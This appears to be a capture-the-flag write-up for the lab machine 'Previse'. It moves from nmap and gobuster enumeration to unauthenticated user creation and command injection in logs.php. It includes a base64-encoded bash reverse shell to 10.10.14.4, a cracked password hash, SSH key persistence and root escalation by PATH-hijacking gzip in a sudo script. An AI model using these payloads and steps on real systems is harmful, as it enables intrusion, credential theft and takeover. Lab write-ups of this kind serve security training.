

# Creds

| where             | username | password         | notes                   |
|-------------------|----------|------------------|-------------------------|
| config.php        | root     | mySQL_p@ssw0rd!) | db=previse, mysql login |
| cracked with john | m4lwhere | ilovecody112235! | from db hash            |

# nmap

```
PORT      STATE SERVICE REASON          VERSION
22/tcp    open  ssh      syn-ack ttl 63  OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
| ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAQDbdbnxQupSPdfuEywpVV7Wp3dHqctX3U+bBa/UyMNxMjkP0+rL5E6ZTAcn

|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBcNDbkb4wzeF+aiHLOs5KNLPZhGOzgPwRSQ3

80/tcp    open  http     syn-ack ttl 63  Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_     httponly flag not set
| http-title: Previs Login
|_Requested resource was login.php
|_http-favicon: Unknown favicon MD5: B21DD667DF8D81CAE6DD1374DD548004
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS

|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

22 and 80

# web

Nmap tells is port 80 is open


```
80/tcp open  http      syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-title: Previsé Login
|_Requested resource was login.php
|_http-favicon: Unknown favicon MD5: B21DD667DF8D81CAE6DD1374DD548004
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```


## Content

Looks like a login page (login.php)

# Previsé File Storage

## Login

 Username

 Password

LOG IN

## Gobuster

```
> gobuster dir -u http://10.10.11.104 -w ~/tools/wordlists/directory-list-lowercase-2.3-medium.txt -x php -o gobuster/root.gobuster
=====
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:          http://10.10.11.104
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:      /home/patrick/tools/wordlists/directory-list-lowercase-2.3-medium.txt
```

```
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Timeout: 10s

=====
2021/08/09 10:31:23 Starting gobuster in directory enumeration mode
=====

/index.php      (Status: 302) [Size: 2801] [--> login.php]
/login.php      (Status: 200) [Size: 2224]
/download.php   (Status: 302) [Size: 0] [--> login.php]
/files.php      (Status: 302) [Size: 6085] [--> login.php]
/header.php     (Status: 200) [Size: 980]
/nav.php        (Status: 200) [Size: 1248]
/footer.php     (Status: 200) [Size: 217]
/css            (Status: 301) [Size: 310] [--> http://10.10.11.104/css/]
/status.php     (Status: 302) [Size: 2970] [--> login.php]
/js            (Status: 301) [Size: 309] [--> http://10.10.11.104/js/]
/logout.php     (Status: 302) [Size: 0] [--> login.php]
/accounts.php   (Status: 302) [Size: 3994] [--> login.php]
/config.php     (Status: 200) [Size: 0]
/logs.php       (Status: 302) [Size: 0] [--> login.php]
```

## Create User

If you post to `accounts.php` you can create a user:

```
POST /accounts.php HTTP/1.1
Host: 10.10.11.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Origin: http://10.10.11.104
Connection: close
Referer: http://10.10.11.104/login.php
Cookie: PHPSESSID=29j7ibhsojchid72tknestc125
Upgrade-Insecure-Requests: 1

username=c1sc0&password=c1sc0&confirm=c1sc0
```

## Add New Account

Create new user.

ONLY ADMINS SHOULD BE ABLE TO ACCESS THIS PAGE!!

Username and passwords must be between 5 and 32 characters!

Success! User was added!



CREATE USER

## Login

## Previs File Hosting

Previs File Hosting Service Management.

Don't have an account? Create one!

## Download backup

There is a site backup you can download. Within the backup you can find the sql creds:

```
> cat config.php
<?php

function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;
}

?>
```

## Command injection

There is also a page which can download logs.

```
////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
////////////////////////////////////

$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;

$filepath = "/var/www/out.log";
$filename = "out.log";
```

So clearly we have command injection here:

```
POST /logs.php HTTP/1.1
Host: 10.10.11.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Origin: http://10.10.11.104
Connection: close
Referer: http://10.10.11.104/file_logs.php
Cookie: PHPSESSID=29j7ibhsojchid72tknestc125
Upgrade-Insecure-Requests: 1
```

```
delim=comma%3b+curl+10.10.14.4/test.php
```

```
> sudo python3 -m http.server 80
[sudo] password for patrick:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.104 - - [09/Aug/2021 10:55:05] code 404, message File not found
10.10.11.104 - - [09/Aug/2021 10:55:05] "GET /test.php HTTP/1.1" 404 -
```

## Rev Shell

Using the command injection in logs.php we can get a reverse shell

Payload creation:

```
> echo "bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1' " | base64 -w 0
YmFzaCAtYyAgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNC85MDAxICAwPiYxJyAK
```

Listen on port 9001 using ncat.

Trigger:

```
POST /logs.php HTTP/1.1
Host: 10.10.11.104
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 113
Origin: http://10.10.11.104
Connection: close
Referer: http://10.10.11.104/file_logs.php
Cookie: PHPSESSID=29j7ibhsojchid72tknestc125
Upgrade-Insecure-Requests: 1

delim=comma%3b+echo+"YmFzaCAtYyAgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNC85MDAxICAwPiYxJyAKd+|+bash
```

```
[patrick@redkite ~]$ nc -lnvp 9001
Connection from 10.10.11.104:59408
bash: cannot set terminal process group (1416): Inappropriate ioctl for device
```

```
bash: no job control in this shell
www-data@previse:/var/www/html$
```

Good to go.

## Database

Login to the database with the creds already discovered and we can "dump" the `accounts` table.

```
mysql> select * from accounts;
+----+-----+-----+-----+
| id | username | password | created_at |
+----+-----+-----+-----+
| 1 | m4lwhere | $1$🍷llo1$DQpmdvnb7Eeu06UaqRItf. | 2021-05-27 18:18:36 |
| 2 | testtest | $1$🍷llo1$mxh6P7CVsyxpyK7RtByIu1 | 2021-08-08 08:14:59 |
| 3 | Kesaya | $1$🍷llo1$7taMgxVoWkw0.jYJtl7Ec1 | 2021-08-08 13:04:24 |
| 4 | wowser | $1$🍷llo1$RuQME6AQ0HLu1aYbq0Z/j1 | 2021-08-08 13:37:17 |
| 5 | meetlegend | $1$🍷llo1$mtXe5PFEiC8JKd5j30vNC. | 2021-08-09 04:12:30 |
| 6 | admin | $1$🍷llo1$uXqzPW6SXU0Nt.AI0BqLy. | 2021-08-09 08:37:45 |
| 7 | c1sc0 | $1$🍷llo1$EQRinCR0PEf1tUg5IfuVa/ | 2021-08-09 08:38:21 |
+----+-----+-----+-----+
7 rows in set (0.00 sec)
```

Oddly enough the salt string of the hash does have an actual salt emoji.

We know from the rev shell that the only user is `m4lwhere` on the box:

```
www-data@previse:/var/www/html$ cat /etc/passwd | grep -v "false|nologin"
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
m4lwhere:x:1000:1000:m4lwhere:/home/m4lwhere:/bin/bash
```

So it can be useful to maybe crack his password.

```
> john --format=md5crypt-long --wordlist=~/.tools/pwlisten/rockyou/original.txt db-
hash-m4lwhere.hash --fork=8
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])
Warning: OpenMP was disabled due to --fork; a non-OpenMP build may be faster
Node numbers 1-8 of 8 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
[... snip ...]
ilovecody112235! (?)
[... snip ...]
```

Use the "--show" option to display all of the cracked passwords reliably  
Session completed

Using it in our session we can be user `m4lwhere` next:

```
www-data@previse:/var/www/html$ su - m4lwhere
Password:
m4lwhere@previse:~$ cd
m4lwhere@previse:~$ ls -la
total 44
drwxr-xr-x 5 m4lwhere m4lwhere 4096 Aug  8 13:21 .
drwxr-xr-x 3 root      root      4096 May 25 14:59 ..
lrwxrwxrwx 1 root      root          9 Jun  6 13:04 .bash_history -> /dev/null
-rw-r--r-- 1 m4lwhere m4lwhere 220 Apr  4 2018 .bash_logout
-rw-r--r-- 1 m4lwhere m4lwhere 3771 Apr  4 2018 .bashrc
drwx----- 2 m4lwhere m4lwhere 4096 May 25 15:25 .cache
drwxr-x--- 3 m4lwhere m4lwhere 4096 Jun 12 10:09 .config
drwx----- 4 m4lwhere m4lwhere 4096 Jun 12 10:10 .gnupg
-rw-r--r-- 1 m4lwhere m4lwhere 807 Apr  4 2018 .profile
-rw-r--r-- 1 m4lwhere m4lwhere 75 May 31 19:19 .selected_editor
-r----- 1 m4lwhere m4lwhere 33 Aug  8 08:14 user.txt
lrwxrwxrwx 1 root      root          9 Jul 28 09:10 .viminfo -> /dev/null
-rw-r--r-- 1 m4lwhere m4lwhere 75 Jun 18 01:18 .vimrc
m4lwhere@previse:~$ cat user.txt | wc -c
33
m4lwhere@previse:~$
```

## Upgrade shell to ssh

```
> ssh-keygen -f m4lwhere -t ed25519
Generating public/private ed25519 key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in m4lwhere
Your public key has been saved in m4lwhere.pub
The key fingerprint is:
SHA256:tvuHSnGMMNGl20YBbxHjS7UGuJ10RZfc+emJMImxApY patrick@redkite
The key's randomart image is:
+--[ED25519 256]--+
|      +o=oooo..o.|
|      E.BoB.. .o..|
|      . =+Xo*  .  o|
|      .OoO +    ..|
|      S o o o  .|
```



```

| . + . o |
| o . |
| . . . |
| oo.. |
+----[SHA256]-----+
> ls -la
.rw----- 411 patrick  9 Aug 11:23 m4lwhere
.rw-r--r--  97 patrick  9 Aug 11:23 m4lwhere.pub
> cat m4lwhere.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHbJhJ1H0InJ3K80en3mkYUpnUQctqHmp/0MniH8PWIG
patrick@redkite

```

```

m4lwhere@previse:~$ mkdir .ssh
m4lwhere@previse:~$ cd .ssh
echo "...snip..." >> authorized_keys
m4lwhere@previse:~/.ssh$ ls -la
total 12
drwxrwxr-x 2 m4lwhere m4lwhere 4096 Aug  9 09:22 .
drwxr-xr-x 6 m4lwhere m4lwhere 4096 Aug  9 09:21 ..
-rw-rw-r-- 1 m4lwhere m4lwhere   81 Aug  9 09:22 authorized_keys
m4lwhere@previse:~/.ssh$ cat authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHbJhJ1H0InJ3K80en3mkYUpnUQctqHmp/0MniH8PWIG
m4lwhere@previse:~/.ssh$

```

```

> ssh -l m4lwhere -i m4lwhere 10.10.11.104
The authenticity of host '10.10.11.104 (10.10.11.104)' can't be established.
ED25519 key fingerprint is SHA256:BF5tg2bhCrrCuaeVQXikjd8BCPxgLsnnwHlaBo3dPs.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.104' (ED25519) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-151-generic x86_64)

```

```

* Documentation:  https://help.ubuntu.com
* Management:    https://landscape.canonical.com
* Support:       https://ubuntu.com/advantage

```

System information as of Mon Aug 9 09:25:13 UTC 2021

```

System load:  0.0                Processes:    204
Usage of /:   55.4% of 4.85GB    Users logged in:  0
Memory usage: 34%                IP address for eth0: 10.10.11.104
Swap usage:   0%

```

0 updates can be applied immediately.

```
Last login: Sun Aug  8 13:45:23 2021 from 10.10.14.18
m4lwhere@previse:~$
```

# Privesc

Privesc is straight forward.

We can run a script as root:

```
m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere:
User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh
m4lwhere@previse:~$
```

Looking at the script we can see that `gzip` is used in an insecure manner (not the full path).

```
m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my
account
# This is configured to run with cron, added to sudo so I can run as needed - we'll
fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday"
+%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday"
+%Y%b%d)_file_access.gz
```

So we can make use of that by exporting the current working directory to the PATH and providing our own `gzip` like:

```
m4lwhere@previse:~$ cd /dev/shm/
m4lwhere@previse:/dev/shm$ echo -e '#!/bin/bash\nchmod 4775 /bin/bash'
#!/bin/bash
chmod 4775 /bin/bash
m4lwhere@previse:/dev/shm$ echo -e '#!/bin/bash\nchmod 4775 /bin/bash' > gzip
m4lwhere@previse:/dev/shm$ chmod +x gzip
m4lwhere@previse:/dev/shm$ cat gzip
#!/bin/bash
```

```
chmod 4775 /bin/bash
m4lwhere@previse:/dev/shm$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

m4lwhere@previse:/dev/shm$ export PATH=`pwd`: $PATH
m4lwhere@previse:/dev/shm$ echo $PATH
/dev/shm:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

m4lwhere@previse:/dev/shm$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1113504 Jun  6 2019 /bin/bash
m4lwhere@previse:/dev/shm$ sudo /opt/scripts/access_backup.sh
m4lwhere@previse:/dev/shm$ ls -la /bin/bash
-rwsrwxr-x 1 root root 1113504 Jun  6 2019 /bin/bash
m4lwhere@previse:/dev/shm$ bash -p
bash-4.4# id
uid=1000(m4lwhere) gid=1000(m4lwhere) euid=0(root) groups=1000(m4lwhere)
bash-4.4# cd /root/
bash-4.4# cat root.txt | wc -c
33
bash-4.4#
```